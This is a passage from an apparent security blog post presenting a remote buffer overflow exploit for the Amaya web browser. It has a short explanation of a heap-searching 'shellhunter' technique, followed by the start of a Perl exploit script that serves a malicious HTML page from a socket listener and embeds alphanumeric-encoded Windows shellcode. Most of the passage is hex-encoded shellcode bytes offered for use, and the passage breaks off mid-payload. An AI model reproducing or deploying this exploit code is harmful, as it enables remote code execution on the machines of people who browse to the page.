<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Very corrupted data, like that we cannot execute anything because of malformed instructions (the decoder for the alphanumerical shellcode will have also no chance to work).  It is clear that the only way will be to look at the heap.</p>
<p>Now I will describe how my shellhunter works!</p>
<ol>
<li>The shellhunter will start as being 98% alphanumerical so it can be successfully executed.</li>
<li>The &#8220;lookout&#8221; values must not cause an exception because we will redirect the execution flow to those values!</li>
<li>It will loop and search the heap for the &#8220;lookout&#8221; values INFRONT of the shellcode.</li>
<li>Once the &#8220;lookout&#8221; values are located, PUSH EDI and then RETN to that address.</li>
</ol>
<p>This is efficient and it will work one-hundred percent on every try the browser parses the HTML page.</p>
<p>You can also see that I am using an addition with the $additionaddr variable, this is because the variable cannot be on the heap next to the corrupted data! So we basicially add a few bytes to the variable in the register EAX that holds the $additionaddr that will turn into the &#8220;lookout&#8221; value so the shellhunter can easily compare data in the heap!</p>
<p>I hope you learned something today ladies and gents! The exploit is included below!</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Amaya Web Browser &amp;lt;= 11.0.1 Remote Buffer Overflow Exploit</span>
<span style="color: #666666; font-style: italic;"># Found/Exploit by SkD (skdrat@hotmail.com)</span>
<span style="color: #666666; font-style: italic;">#                (skd@abysssec.com  )</span>
<span style="color: #666666; font-style: italic;"># -----------------------------------------------</span>
<span style="color: #666666; font-style: italic;"># This is advanced buffer overflow exploitation using</span>
<span style="color: #666666; font-style: italic;"># my new method called shellhunting :)</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Get more information about this at http://abysssec.com</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Exploit works only on a fully patched Vista SP1, but you</span>
<span style="color: #666666; font-style: italic;"># may need to click 'Refresh' to make the shellcode exec</span>
<span style="color: #666666; font-style: italic;"># sometimes.</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Note: Author has no responsibility over the damage you do with this!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> strict<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> warnings<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">use</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$html</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$port_listen</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">80</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># change this to your desired port!</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$listenip</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;127.0.0.1&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># change this to your desired IP!</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>34&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
